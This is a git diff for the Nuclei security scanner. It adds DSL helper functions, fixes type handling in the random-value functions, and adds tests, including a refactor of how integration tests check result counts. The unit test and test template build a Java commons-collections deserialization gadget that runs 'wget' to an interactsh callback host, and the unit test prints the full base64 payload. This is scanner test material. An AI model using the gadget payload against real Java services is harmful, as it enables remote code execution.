diff --git a/integration_tests/http/dsl-functions.yaml b/integration_tests/http/dsl-functions.yaml new file mode 100644 index 000000000..8b078e8fc --- /dev/null +++ b/integration_tests/http/dsl-functions.yaml @@ -0,0 +1,71 @@ +id: helper-functions-examples + +info: + name: RAW Template with Helper Functions + author: pdteam + severity: info + +requests: + - raw: + - | + GET / HTTP/1.1 + Host: {{Hostname}} + 01: {{base64("Hello")}} + 02: {{base64(1234)}} + 03: {{base64_decode("SGVsbG8=")}} + 04: {{base64_py("Hello")}} + 05: {{contains("Hello", "lo")}} + 06: {{generate_java_gadget("commons-collections3.1", "wget http://{{interactsh-url}}", "base64")}} + 07: {{gzip("Hello")}} + 08: {{hex_decode("6161")}} + 09: {{hex_encode("aa")}} + 10: {{html_escape("test")}} + 11: {{html_unescape("<body>test</body>")}} + 12: {{len("Hello")}} + 13: {{len(5555)}} + 14: {{md5("Hello")}} + 15: {{md5(1234)}} + 16: {{mmh3("Hello")}} + 17: {{print_debug(1+2, "Hello")}} + 18: {{rand_base(5, "abc")}} + 19: {{rand_base(5, "")}} + 20: {{rand_base(5)}} + 21: {{rand_char("abc")}} + 22: {{rand_char("")}} + 23: {{rand_char()}} + 24: {{rand_int(1, 10)}} + 25: {{rand_int(10)}} + 26: {{rand_int()}} + 27: {{rand_text_alpha(10, "abc")}} + 28: {{rand_text_alpha(10, "")}} + 29: {{rand_text_alpha(10)}} + 30: {{rand_text_alphanumeric(10, "ab12")}} + 31: {{rand_text_alphanumeric(10)}} + 32: {{rand_text_numeric(10, 123)}} + 33: {{rand_text_numeric(10)}} + 34: {{regex("H([a-z]+)o", "Hello")}} + 35: {{remove_bad_chars("abcd", "bc")}} + 36: {{repeat("a", 5)}} + 37: {{replace("Hello", "He", "Ha")}} + 38: {{replace_regex("He123llo", "(\\d+)", "")}} + 39: {{reverse("abc")}} + 40: {{sha1("Hello")}} + 41: {{sha256("Hello")}} + 42: {{to_lower("HELLO")}} + 43: {{to_upper("hello")}} + 44: {{trim("aaaHelloddd", "ad")}} + 45: {{trim_left("aaaHelloddd", "ad")}} + 46: {{trim_prefix("aaHelloaa", "aa")}} + 47: {{trim_right("aaaHelloddd", "ad")}} + 48: {{trim_space(" Hello ")}} + 49: {{trim_suffix("aaHelloaa", "aa")}} + 50: {{unix_time(10)}} + 51: {{url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")}} + 52: {{url_encode("https://projectdiscovery.io/test?a=1")}} + 53: {{wait_for(1)}} + + extractors: + - type: regex + name: results + regex: + - '\d+: [^\s]+' \ No newline at end of file diff --git a/v2/cmd/integration-test/dns.go b/v2/cmd/integration-test/dns.go index 5bb2ed2c4..0ba4be720 100644 --- a/v2/cmd/integration-test/dns.go +++ b/v2/cmd/integration-test/dns.go @@ -21,8 +21,5 @@ func (h *dnsBasic) Execute(filePath string) error { if routerErr != nil { return routerErr } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + return expectResultsCount(results, 1) } diff --git a/v2/cmd/integration-test/headless.go b/v2/cmd/integration-test/headless.go index 6039fdb64..3777b4032 100644 --- a/v2/cmd/integration-test/headless.go +++ b/v2/cmd/integration-test/headless.go @@ -30,10 +30,8 @@ func (h *headlessBasic) Execute(filePath string) error { if err != nil { return err } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type headlessHeaderActions struct{} @@ -54,10 +52,8 @@ func (h *headlessHeaderActions) Execute(filePath string) error { if err != nil { return err } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type headlessExtractValues struct{} @@ -74,8 +70,6 @@ func (h *headlessExtractValues) Execute(filePath string) error { if err != nil { return err } - if len(results) != 3 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 3) } diff --git a/v2/cmd/integration-test/http.go b/v2/cmd/integration-test/http.go index ebf245317..be640ec34 100644 --- a/v2/cmd/integration-test/http.go +++ b/v2/cmd/integration-test/http.go @@ -7,6 +7,9 @@ import ( "net" "net/http" "net/http/httptest" + "net/http/httputil" + "regexp" + "strconv" "strings" "github.com/julienschmidt/httprouter" @@ -37,6 +40,7 @@ var httpTestcases = map[string]testutils.TestCase{ "http/get.yaml,http/get-case-insensitive.yaml": &httpGetCaseInsensitiveCluster{}, "http/get-redirects-chain-headers.yaml": &httpGetRedirectsChainHeaders{}, "http/dsl-matcher-variable.yaml": &httpDSLVariable{}, + "http/dsl-functions.yaml": &httpDSLFunctions{}, } type httpInteractshRequest struct{} @@ -59,10 +63,8 @@ func (h *httpInteractshRequest) Execute(filePath string) error { if err != nil { return err } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type httpGetHeaders struct{} @@ -82,10 +84,8 @@ func (h *httpGetHeaders) Execute(filePath string) error { if err != nil { return err } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type httpGetQueryString struct{} @@ -105,10 +105,8 @@ func (h *httpGetQueryString) Execute(filePath string) error { if err != nil { return err } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type httpGetRedirects struct{} @@ -129,10 +127,8 @@ func (h *httpGetRedirects) Execute(filePath string) error { if err != nil { return err } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type httpGet struct{} @@ -150,10 +146,8 @@ func (h *httpGet) Execute(filePath string) error { if err != nil { return err } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type httpDSLVariable struct{} @@ -171,9 +165,60 @@ func (h *httpDSLVariable) Execute(filePath string) error { if err != nil { return err } - if len(results) != 5 { - return errIncorrectResultsCount(results) + + return expectResultsCount(results, 5) +} + +type httpDSLFunctions struct{} + +func (h *httpDSLFunctions) Execute(filePath string) error { + router := httprouter.New() + router.GET("/", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) { + request, err := httputil.DumpRequest(r, true) + if err != nil { + _, _ = fmt.Fprint(w, err.Error()) + } else { + _, _ = fmt.Fprint(w, string(request)) + } + }) + ts := httptest.NewServer(router) + defer ts.Close() + + results, err := testutils.RunNucleiTemplateAndGetResults(filePath, ts.URL, debug, "-nc") + if err != nil { + return err } + + if err := expectResultsCount(results, 1); err != nil { + return err + } + + resultPattern := regexp.MustCompile(`\[[^]]+] \[[^]]+] \[[^]]+] [^]]+ \[([^]]+)]`) + submatch := resultPattern.FindStringSubmatch(results[0]) + if len(submatch) != 2 { + return errors.New("could not parse the result") + } + + totalExtracted := strings.Split(submatch[1], ",") + numberOfDslFunctions := 53 + if len(totalExtracted) != numberOfDslFunctions { + return errors.New("incorrect number of results") + } + + for _, header := range totalExtracted { + parts := strings.Split(header, ": ") + index, err := strconv.Atoi(parts[0]) + if err != nil { + return err + } + if index < 0 || index > numberOfDslFunctions { + return fmt.Errorf("incorrect header index found: %d", index) + } + if strings.TrimSpace(parts[1]) == "" { + return fmt.Errorf("the DSL expression with index %d was not evaluated correctly", index) + } + } + return nil } @@ -203,10 +248,8 @@ func (h *httpPostBody) Execute(filePath string) error { if routerErr != nil { return routerErr } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type httpPostJSONBody struct{} @@ -240,10 +283,8 @@ func (h *httpPostJSONBody) Execute(filePath string) error { if routerErr != nil { return routerErr } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type httpPostMultipartBody struct{} @@ -282,10 +323,8 @@ func (h *httpPostMultipartBody) Execute(filePath string) error { if routerErr != nil { return routerErr } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type httpRawDynamicExtractor struct{} @@ -319,10 +358,8 @@ func (h *httpRawDynamicExtractor) Execute(filePath string) error { if routerErr != nil { return routerErr } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type httpRawGetQuery struct{} @@ -347,10 +384,8 @@ func (h *httpRawGetQuery) Execute(filePath string) error { if routerErr != nil { return routerErr } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type httpRawGet struct{} @@ -373,10 +408,8 @@ func (h *httpRawGet) Execute(filePath string) error { if routerErr != nil { return routerErr } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type httpRawPayload struct{} @@ -408,10 +441,8 @@ func (h *httpRawPayload) Execute(filePath string) error { if routerErr != nil { return routerErr } - if len(results) != 2 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 2) } type httpRawPostBody struct{} @@ -440,10 +471,8 @@ func (h *httpRawPostBody) Execute(filePath string) error { if routerErr != nil { return routerErr } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type httpRawCookieReuse struct{} @@ -487,10 +516,8 @@ func (h *httpRawCookieReuse) Execute(filePath string) error { if routerErr != nil { return routerErr } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type httpRawUnsafeRequest struct{} @@ -512,10 +539,8 @@ func (h *httpRawUnsafeRequest) Execute(filePath string) error { if routerErr != nil { return routerErr } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type httpRequestCondition struct{} @@ -541,10 +566,8 @@ func (h *httpRequestCondition) Execute(filePath string) error { if routerErr != nil { return routerErr } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type httpRequestSelContained struct{} @@ -573,10 +596,8 @@ func (h *httpRequestSelContained) Execute(filePath string) error { if routerErr != nil { return routerErr } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type httpGetCaseInsensitive struct{} @@ -594,10 +615,8 @@ func (h *httpGetCaseInsensitive) Execute(filePath string) error { if err != nil { return err } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type httpGetCaseInsensitiveCluster struct{} @@ -617,10 +636,8 @@ func (h *httpGetCaseInsensitiveCluster) Execute(filesPath string) error { if err != nil { return err } - if len(results) != 2 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 2) } type httpGetRedirectsChainHeaders struct{} @@ -645,8 +662,6 @@ func (h *httpGetRedirectsChainHeaders) Execute(filePath string) error { if err != nil { return err } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } diff --git a/v2/cmd/integration-test/integration-test.go b/v2/cmd/integration-test/integration-test.go index 5f88f4742..be9ab4c16 100644 --- a/v2/cmd/integration-test/integration-test.go +++ b/v2/cmd/integration-test/integration-test.go @@ -74,8 +74,11 @@ func execute(testCase testutils.TestCase, templatePath string) (error, string) { return nil, "" } -func errIncorrectResultsCount(results []string) error { - return fmt.Errorf("incorrect number of results \n\t%s", strings.Join(results, "\n\t")) +func expectResultsCount(results []string, expectedNumber int) error { + if len(results) != expectedNumber { + return fmt.Errorf("incorrect number of results: %d (actual) vs %d (expected) \nResults:\n\t%s\n", len(results), expectedNumber, strings.Join(results, "\n\t")) + } + return nil } func toSlice(value string) []string { diff --git a/v2/cmd/integration-test/loader.go b/v2/cmd/integration-test/loader.go index 3507b8a31..d118a6411 100644 --- a/v2/cmd/integration-test/loader.go +++ b/v2/cmd/integration-test/loader.go @@ -49,10 +49,8 @@ func (h *remoteTemplateList) Execute(templateList string) error { if err != nil { return err } - if len(results) != 2 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 2) } type remoteWorkflowList struct{} @@ -85,10 +83,8 @@ func (h *remoteWorkflowList) Execute(workflowList string) error { if err != nil { return err } - if len(results) != 3 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 3) } type nonExistentTemplateList struct{} diff --git a/v2/cmd/integration-test/network.go b/v2/cmd/integration-test/network.go index ac34c5fd5..52d78b347 100644 --- a/v2/cmd/integration-test/network.go +++ b/v2/cmd/integration-test/network.go @@ -42,10 +42,8 @@ func (h *networkBasic) Execute(filePath string) error { if routerErr != nil { return routerErr } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type networkMultiStep struct{} @@ -92,10 +90,8 @@ func (h *networkMultiStep) Execute(filePath string) error { } else { expectedResultsSize = 1 } - if len(results) != expectedResultsSize { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, expectedResultsSize) } type networkRequestSelContained struct{} @@ -117,8 +113,6 @@ func (h *networkRequestSelContained) Execute(filePath string) error { if routerErr != nil { return routerErr } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } diff --git a/v2/cmd/integration-test/websocket.go b/v2/cmd/integration-test/websocket.go index af6d07451..73de9e481 100644 --- a/v2/cmd/integration-test/websocket.go +++ b/v2/cmd/integration-test/websocket.go @@ -39,10 +39,8 @@ func (h *websocketBasic) Execute(filePath string) error { if err != nil { return err } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type websocketCswsh struct{} @@ -62,10 +60,8 @@ func (h *websocketCswsh) Execute(filePath string) error { if err != nil { return err } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type websocketNoCswsh struct{} @@ -85,10 +81,8 @@ func (h *websocketNoCswsh) Execute(filePath string) error { if err != nil { return err } - if len(results) != 0 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 0) } type websocketWithPath struct{} @@ -108,8 +102,6 @@ func (h *websocketWithPath) Execute(filePath string) error { if err != nil { return err } - if len(results) != 0 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 0) } diff --git a/v2/cmd/integration-test/workflow.go b/v2/cmd/integration-test/workflow.go index 31202d090..c45976e81 100644 --- a/v2/cmd/integration-test/workflow.go +++ b/v2/cmd/integration-test/workflow.go @@ -32,10 +32,8 @@ func (h *workflowBasic) Execute(filePath string) error { if err != nil { return err } - if len(results) != 2 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 2) } type workflowConditionMatched struct{} @@ -53,10 +51,8 @@ func (h *workflowConditionMatched) Execute(filePath string) error { if err != nil { return err } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } type workflowConditionUnmatch struct{} @@ -74,10 +70,8 @@ func (h *workflowConditionUnmatch) Execute(filePath string) error { if err != nil { return err } - if len(results) != 0 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 0) } type workflowMatcherName struct{} @@ -95,8 +89,6 @@ func (h *workflowMatcherName) Execute(filePath string) error { if err != nil { return err } - if len(results) != 1 { - return errIncorrectResultsCount(results) - } - return nil + + return expectResultsCount(results, 1) } diff --git a/v2/pkg/operators/common/dsl/dsl.go b/v2/pkg/operators/common/dsl/dsl.go index 2f005ad33..430be116f 100644 --- a/v2/pkg/operators/common/dsl/dsl.go +++ b/v2/pkg/operators/common/dsl/dsl.go @@ -56,6 +56,13 @@ func init() { "to_lower": makeDslFunction(1, func(args ...interface{}) (interface{}, error) { return strings.ToLower(types.ToString(args[0])), nil }), + "repeat": makeDslFunction(2, func(args ...interface{}) (interface{}, error) { + count, err := strconv.Atoi(types.ToString(args[1])) + if err != nil { + return nil, invalidDslFunctionError + } + return strings.Repeat(types.ToString(args[0]), count), nil + }), "replace": makeDslFunction(3, func(args ...interface{}) (interface{}, error) { return strings.ReplaceAll(types.ToString(args[0]), types.ToString(args[1]), types.ToString(args[2])), nil }), @@ -174,10 +181,13 @@ func init() { } if argSize >= 1 { - charSet = types.ToString(args[0]) + inputCharSet := types.ToString(args[0]) + if strings.TrimSpace(inputCharSet) != "" { + charSet = inputCharSet + } } - return charSet[rand.Intn(len(charSet))], nil + return string(charSet[rand.Intn(len(charSet))]), nil }, ), "rand_base": makeDslWithOptionalArgsFunction( @@ -194,7 +204,10 @@ func init() { length = int(args[0].(float64)) if argSize == 2 { - charSet = types.ToString(args[1]) + inputCharSet := types.ToString(args[1]) + if strings.TrimSpace(inputCharSet) != "" { + charSet = inputCharSet + } } return randSeq(charSet, length), nil }, @@ -247,7 +260,7 @@ func init() { return nil, invalidDslFunctionError } - length := args[0].(int) + length := int(args[0].(float64)) badNumbers := "" if argSize == 2 { @@ -262,7 +275,7 @@ func init() { "(optionalMin, optionalMax uint) int", func(args ...interface{}) (interface{}, error) { argSize := len(args) - if argSize >= 2 { + if argSize > 2 { return nil, invalidDslFunctionError } @@ -270,10 +283,10 @@ func init() { max := math.MaxInt32 if argSize >= 1 { - min = args[0].(int) + min = int(args[0].(float64)) } if argSize == 2 { - max = args[1].(int) + max = int(args[1].(float64)) } return rand.Intn(max-min) + min, nil }, @@ -294,7 +307,7 @@ func init() { if argSize != 0 && argSize != 1 { return nil, invalidDslFunctionError } else if argSize == 1 { - seconds = int(args[0].(uint)) + seconds = int(args[0].(float64)) } offset := time.Now().Add(time.Duration(seconds) * time.Second) @@ -307,7 +320,7 @@ func init() { if len(args) != 1 { return nil, invalidDslFunctionError } - seconds := args[0].(uint) + seconds := args[0].(float64) time.Sleep(time.Duration(seconds) * time.Second) return true, nil }, diff --git a/v2/pkg/operators/common/dsl/dsl_test.go b/v2/pkg/operators/common/dsl/dsl_test.go index bd2200c74..946a9b405 100644 --- a/v2/pkg/operators/common/dsl/dsl_test.go +++ b/v2/pkg/operators/common/dsl/dsl_test.go @@ -4,6 +4,7 @@ import ( "compress/gzip" "fmt" "io/ioutil" + "math" "regexp" "strings" "testing" @@ -50,7 +51,7 @@ func TestDSLGzipSerialize(t *testing.T) { require.Equal(t, "hello world", string(data), "could not get gzip encoded data") } -func Test1(t *testing.T) { +func TestDslFunctionSignatures(t *testing.T) { type testCase struct { methodName string arguments []interface{} @@ -116,6 +117,7 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) { rand_text_numeric(length uint, optionalBadNumbers string) string regex(arg1, arg2 interface{}) interface{} remove_bad_chars(arg1, arg2 interface{}) interface{} + repeat(arg1, arg2 interface{}) interface{} replace(arg1, arg2, arg3 interface{}) interface{} replace_regex(arg1, arg2, arg3 interface{}) interface{} reverse(arg1 interface{}) interface{} @@ -145,3 +147,130 @@ func TestGetPrintableDslFunctionSignatures(t *testing.T) { assert.Equal(t, expectedSignaturesWithoutColor, GetPrintableDslFunctionSignatures(true)) }) } + +func TestDslExpressions(t *testing.T) { + dslExpressions := map[string]interface{}{ + `base64("Hello")`: "SGVsbG8=", + `base64(1234)`: "MTIzNA==", + `base64_py("Hello")`: "SGVsbG8=\n", + `hex_encode("aa")`: "6161", + `html_escape("test")`: "<body>test</body>", + `html_unescape("<body>test</body>")`: "test", + `md5("Hello")`: "8b1a9953c4611296a827abf8c47804d7", + `md5(1234)`: "81dc9bdb52d04dc20036dbd8313ed055", + `mmh3("Hello")`: "316307400", + `remove_bad_chars("abcd", "bc")`: "ad", + `replace("Hello", "He", "Ha")`: "Hallo", + `repeat("a", 5)`: "aaaaa", + `repeat("a", "5")`: "aaaaa", + `repeat("../", "5")`: "../../../../../", + `repeat(5, 5)`: "55555", + `replace_regex("He123llo", "(\\d+)", "")`: "Hello", + `reverse("abc")`: "cba", + `sha1("Hello")`: "f7ff9e8b7bb2e09b70935a5d785e0cc5d9d0abf0", + `sha256("Hello")`: "185f8db32271fe25f561a6fc938b2e264306ec304eda518007d1764826381969", + `to_lower("HELLO")`: "hello", + `to_upper("hello")`: "HELLO", + `trim("aaaHelloddd", "ad")`: "Hello", + `trim_left("aaaHelloddd", "ad")`: "Helloddd", + `trim_prefix("aaHelloaa", "aa")`: "Helloaa", + `trim_right("aaaHelloddd", "ad")`: "aaaHello", + `trim_space(" Hello ")`: "Hello", + `trim_suffix("aaHelloaa", "aa")`: "aaHello", + `url_decode("https:%2F%2Fprojectdiscovery.io%3Ftest=1")`: "https://projectdiscovery.io?test=1", + `url_encode("https://projectdiscovery.io/test?a=1")`: "https%3A%2F%2Fprojectdiscovery.io%2Ftest%3Fa%3D1", + `gzip("Hello")`: "\x1f\x8b\b\x00\x00\x00\x00\x00\x00\xff\xf2H\xcd\xc9\xc9\a\x04\x00\x00\xff\xff\x82\x89\xd1\xf7\x05\x00\x00\x00", + `generate_java_gadget("commons-collections3.1", "wget https://{{interactsh-url}}", "base64")`: "rO0ABXNyABFqYXZhLnV0aWwuSGFzaFNldLpEhZWWuLc0AwAAeHB3DAAAAAI/QAAAAAAAAXNyADRvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMua2V5dmFsdWUuVGllZE1hcEVudHJ5iq3SmznBH9sCAAJMAANrZXl0ABJMamF2YS9sYW5nL09iamVjdDtMAANtYXB0AA9MamF2YS91dGlsL01hcDt4cHQAJmh0dHBzOi8vZ2l0aHViLmNvbS9qb2FvbWF0b3NmL2pleGJvc3Mgc3IAKm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5tYXAuTGF6eU1hcG7llIKeeRCUAwABTAAHZmFjdG9yeXQALExvcmcvYXBhY2hlL2NvbW1vbnMvY29sbGVjdGlvbnMvVHJhbnNmb3JtZXI7eHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3JzLkNoYWluZWRUcmFuc2Zvcm1lcjDHl%2BwoepcEAgABWwANaVRyYW5zZm9ybWVyc3QALVtMb3JnL2FwYWNoZS9jb21tb25zL2NvbGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwdXIALVtMb3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLlRyYW5zZm9ybWVyO71WKvHYNBiZAgAAeHAAAAAFc3IAO29yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5mdW5jdG9ycy5Db25zdGFudFRyYW5zZm9ybWVyWHaQEUECsZQCAAFMAAlpQ29uc3RhbnRxAH4AA3hwdnIAEWphdmEubGFuZy5SdW50aW1lAAAAAAAAAAAAAAB4cHNyADpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuSW52b2tlclRyYW5zZm9ybWVyh%2Bj/a3t8zjgCAANbAAVpQXJnc3QAE1tMamF2YS9sYW5nL09iamVjdDtMAAtpTWV0aG9kTmFtZXQAEkxqYXZhL2xhbmcvU3RyaW5nO1sAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVyABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AGwAAAAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB%2BABtzcQB%2BABN1cQB%2BABgAAAACcHVxAH4AGAAAAAB0AAZpbnZva2V1cQB%2BABsAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAAAAAAAHhwdnEAfgAYc3EAfgATdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAAAXQAH3dnZXQgaHR0cHM6Ly97e2ludGVyYWN0c2gtdXJsfX10AARleGVjdXEAfgAbAAAAAXEAfgAgc3EAfgAPc3IAEWphdmEubGFuZy5JbnRlZ2VyEuKgpPeBhzgCAAFJAAV2YWx1ZXhyABBqYXZhLmxhbmcuTnVtYmVyhqyVHQuU4IsCAAB4cAAAAAFzcgARamF2YS51dGlsLkhhc2hNYXAFB9rBwxZg0QMAAkYACmxvYWRGYWN0b3JJAAl0aHJlc2hvbGR4cD9AAAAAAAAAdwgAAAAQAAAAAHh4eA==", + `base64_decode("SGVsbG8=")`: []byte{0x48, 0x65, 0x6c, 0x6c, 0x6f}, + `hex_decode("6161")`: []byte{0x61, 0x61}, + `len("Hello")`: float64(5), + `len(1234)`: float64(4), + `contains("Hello", "lo")`: true, + `regex("H([a-z]+)o", "Hello")`: true, + `wait_for(1)`: nil, + `print_debug(1+2, "Hello")`: nil, + } + + for dslExpression, expectedResult := range dslExpressions { + t.Run(dslExpression, func(t *testing.T) { + actualResult := evaluateExpression(t, dslExpression) + + if expectedResult != nil { + assert.Equal(t, expectedResult, actualResult) + } + + fmt.Printf("%s: \t %v\n", dslExpression, actualResult) + }) + } +} + +func TestRandDslExpressions(t *testing.T) { + randDslExpressions := map[string]string{ + `rand_base(10, "")`: `[a-zA-Z0-9]{10}`, + `rand_base(5, "abc")`: `[abc]{5}`, + `rand_base(5)`: `[a-zA-Z0-9]{5}`, + `rand_char("abc")`: `[abc]{1}`, + `rand_char("")`: `[a-zA-Z0-9]{1}`, + `rand_char()`: `[a-zA-Z0-9]{1}`, + + `rand_text_alpha(10, "abc")`: `[^abc]{10}`, + `rand_text_alpha(10, "")`: `[a-zA-Z]{10}`, + `rand_text_alpha(10)`: `[a-zA-Z]{10}`, + `rand_text_alphanumeric(10, "ab12")`: `[^ab12]{10}`, + `rand_text_alphanumeric(5, "")`: `[a-zA-Z0-9]{5}`, + `rand_text_alphanumeric(10)`: `[a-zA-Z0-9]{10}`, + `rand_text_numeric(10, 123)`: `[^123]{10}`, + `rand_text_numeric(10)`: `\d{10}`, + } + + for randDslExpression, regexTester := range randDslExpressions { + t.Run(randDslExpression, func(t *testing.T) { + actualResult := evaluateExpression(t, randDslExpression) + + compiledTester := regexp.MustCompile(fmt.Sprintf("^%s$", regexTester)) + + fmt.Printf("%s: \t %v\n", randDslExpression, actualResult) + + stringResult := types.ToString(actualResult) + + assert.True(t, compiledTester.MatchString(stringResult), "The result '%s' of '%s' expression does not match the expected regex: '%s'", actualResult, randDslExpression, regexTester) + }) + } +} + +func TestRandIntDslExpressions(t *testing.T) { + randIntDslExpressions := map[string]func(int) bool{ + `rand_int(5, 9)`: func(i int) bool { + return i >= 5 && i <= 9 + }, + `rand_int(9)`: func(i int) bool { + return i >= 9 + }, + `rand_int()`: func(i int) bool { + return i >= 0 && i <= math.MaxInt32 + }, + } + + for randIntDslExpression, tester := range randIntDslExpressions { + t.Run(randIntDslExpression, func(t *testing.T) { + actualResult := evaluateExpression(t, randIntDslExpression) + + actualIntResult := actualResult.(int) + assert.True(t, tester(actualIntResult), "The '%d' result of the '%s' expression, does not match th expected validation function.", actualIntResult, randIntDslExpression) + }) + } +} + +func evaluateExpression(t *testing.T, dslExpression string) interface{} { + compiledExpression, err := govaluate.NewEvaluableExpressionWithFunctions(dslExpression, HelperFunctions()) + require.NoError(t, err, "Error while compiling the %q expression", dslExpression) + + actualResult, err := compiledExpression.Evaluate(make(map[string]interface{})) + require.NoError(t, err, "Error while evaluating the compiled %q expression", dslExpression) + + for _, negativeTestWord := range []string{"panic", "invalid", "error"} { + require.NotContains(t, fmt.Sprintf("%v", actualResult), negativeTestWord) + } + + return actualResult +}